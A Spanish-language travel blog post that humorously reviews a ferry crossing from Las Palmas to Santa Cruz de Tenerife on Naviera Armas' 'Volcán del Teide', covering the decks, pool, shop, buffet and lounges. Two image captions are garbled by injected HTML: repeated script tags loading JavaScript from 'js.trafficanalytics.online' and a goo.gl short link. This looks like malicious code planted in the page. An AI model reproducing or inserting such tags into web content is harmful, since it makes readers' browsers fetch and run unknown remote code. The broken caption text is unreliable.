Viaje en Naviera Armas [Segunda edición]


Volcán del Teide (2011)


Hace cinco años presentaba una pareja de artículos sobre cómo es el viaje marítimo comercial entre las islas de Gran Canaria y Tenerife. Mucho ha pasado desde entonces. Bueno, para el Fred. Olsen (el “Freddy”) no tanto. Por supuesto, cobra la de Dios y de la de todos los comensales de la última Cena, y ha incluido red Wi-Fi. Al poco, Naviera Armas plagió la iniciativa, cosa que tendría que haber hecho el primero ya que su viaje es más largo. Pero se lo perdono porque es la compañía más cómoda y, últimamente, la más innovadora.

Hace unos meses estrenó su nuevo crucero, que enlaza ambas islas con la península española a través de Huelva durante 28 horas. Cómo no, Armas sigue dando rienda a su fetichismo y le ha dado por bautizarlo como “Volcán de… Teide”. ¿Diferencias con aquel primigenio “Volcán de… Tejeda? Sí. Toda una vuelta de 360 grados. Agárrense los machos, que nos vamos otra vez de viaje.

En esta ocasión vamos a partir desde el Muelle de Cambulloneros (Puerto de La Luz, Las Palmas de Gran Canaria), que no sé el motivo de trasladarse lejos de la ciudad. Ahora, porque ya estoy acostumbrado. Pero al principio maldecía a Armas por las esperas que supone la guagua que nos trae y nos lleva hasta el centro.

Muelle de Cambulloneros (Puerto de La Luz, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> Las Palmas de Gran Canaria)” style=”width: 550px” title=”Muelle de Cambulloneros (Puerto de La Luz, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> Las Palmas de Gran Canaria)” width=”550″ /><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></a><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></p>
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Así, las vistas de la ciudad se mezclan con la de los muelles portuarios. Maquinaria, naves, dársenas y, en esta esquinita inferior, un gran lleno popular sobre la zona de la piscina. Coincidió aquel día con los carnavales y montaron una en la terraza, ¡que pa’ qué! Sólo faltaba Paris Milton, porque aquello se convirtió en una Supermartxé en alta mar, ¡con DJ propio y go gós espontáneos!

 

Pero debió ser que murieron todos de inanición y limpiaron la popa de sus restos, al menos porque meses después, en este otro viaje, la tranquilidad tomó el control. Qué paz, qué sosiego poderse tomar un Marie Brizard en el chiringuito que tienen. Aunque tampoco me arriesgué a meterme en la piscina, que más bien es de olas y de centrifugado, con la de vueltas que daba el agua de acá para allá.

 

Pues eso, que ya estamos en alta mar y dejamos la ciudad ya muy atrás. La Isleta a un extremo de la capital, todo aquello blanco que aún se puede ver desde la isla de enfrente en los días despejados. O incluso por la noche, porque las “Nardy-farolas” de la Playa de Las Canteras tienen una intensidad lumínica que mojan y empapan.


Vistas de La Isleta



 

Y en el otro extremo norte de Gran Canaria podemos ver la montaña de Galdar. Si achinamos los ojos, quizás veamos a los pasajeros del ‘Freddy’, montados en la guagua que les lleva al puerto de Agaete, perdiéndose estas fabulosas vistas terrenales.


Vistas del noroeste grancanario



 

Pero volvamos al barco. Para los inquietos, el crucero cuenta con este supuesto gimnasio, que no es más que cuatro aparatos que tiene cualquier plaza pública. Aunque hay quien prefiere entrenarse tirando sillas al suelo. Desde luego, cansados no subieron al barco, porque dispone de escaleras mecánicas.

 

¡A descansar tomando el sol tranquilamente en este solarium! Habréis notado que mis fotos están vacías de gente. No es un nuevo capítulo de Langolliers ni nadie se ha asustado al verme aparecer. Simplemente, es lo que tiene viajar a las tres de la tarde a mitad de semana.


El solarium del Volcán del Teide

 

Mejor será meternos dentro, que el sol raja como las piedras. Bajando de las cubiertas por las escaleras, Naviera Armas nos agasaja la vista con fotografías camperas. El exotismo rural siempre ha llamado a la compañía en la decoración de toda su flota. Pensarán que para ver playas y cocos ya está el Queen Elizabeth II.


Escaleras del Volcán del Teide

 

De repente nos topamos con el ‘duty free’ del barco. Igual que vende perfumes de alta gama, sirve también tanto de venta de chucherías, tabaco o llaveros de la flota como cumple las funciones de recepción. Eso sí, todo bien colocadito.


El ‘duty free’ del Volcán del Teide

 

Llegamos al restaurante-buffet. Este ambiente ‘chill out’ se rompe cuando llega el pelotón familiar, se sienta, y saca de las bolsas de Hiperdino los tupperwares y la Gold Cola de casa. Naviera Armas se hace cargo de situación tan dantesca y ha prestado dos microondas para calentar las ‘armóndigas’ de la yaya.


El restaurante-buffet del Volcán del Teide


 

Y por fin, a reposar. Ahí me tenéis, con el pie en alto, aprovechando que nadie me veía (porque no hay nadie, evidentemente). Lo bueno con respecto a otros de sus barcos es que las salas están más plagadas de enchufes para encender los portátiles, y que la conexión Wi-Fi es un poco más rápida. Ahora, que como hagas el viaje a Huelva, ¡toca pagar!


Sala del Volcán del Teide


 

No se puede estar dos horas y media de viaje sin echar un ‘meo’. Los aseos son de bungalows futuristas para arriba. Los lavamanos son pilas bautismales. Sólo falta el WC que eche agua de colores. Pero hay suficientes para albergar el máximo de 1500 pasajeros, no así los camarotes, que según mis cálculos hay para menos de 500. Con razón hay salas plagadas de sofás y butacas…


Aseo del Volcán del Teide

 

Estamos llegando a Tenerife. Nos hemos metido ya en el puerto, dejando atrás los montes escarpados de Anaga y la zona industrial portuaria. Mientras, el resto de pasajeros está dentro comentando sus apreciaciones sobre Slumdog Millionare (Danny Boyle, 2008). Porque un crucero de nivel no puede permitirse proyectar siempre los mismos capítulos de Friends.

Vistas de Anaga, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> desde el Volcán del Teide” style=”width: 550px” title=”Vistas de Anaga, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> desde el Volcán del Teide” width=”550″ /><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></p>
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Quise pegarme el capricho de esperar unos minutos más a que avanzase el barco, y así ver el barrio del Bufadero distribuido por el barranco. Aprovecho estos renglones para hacer referencia a la cuenta de Naviera Armas en Facebook, una de las mejores propagandísticas que conozco. Es tan interactiva que llega a ser ‘chana’. Regala pasajes a troche y moche, da la “buenas noches” con la actuación de My Way y hacen sus propios cortos amateurs durante las travesías. ¡Recommended!

 

El culo del barco da la vuelta para meterlo finalmente en el muelle. Detalle tan erótico se complementa con este panorama tan seductor, el ‘skyline’ chicharrero: el Auditorio de Tenerife (ahora llamado de Adán Martín), el Cabildo, la Plaza de España y las obras que tienen desbaratado el tráfico para abrir el mar a su población. A ver si en un próximo viaje ya tienen construido el Terrero Guggenheim de Lucha Canaria, que es lo que le falta para explotar sus ansias de cosmopolitismo.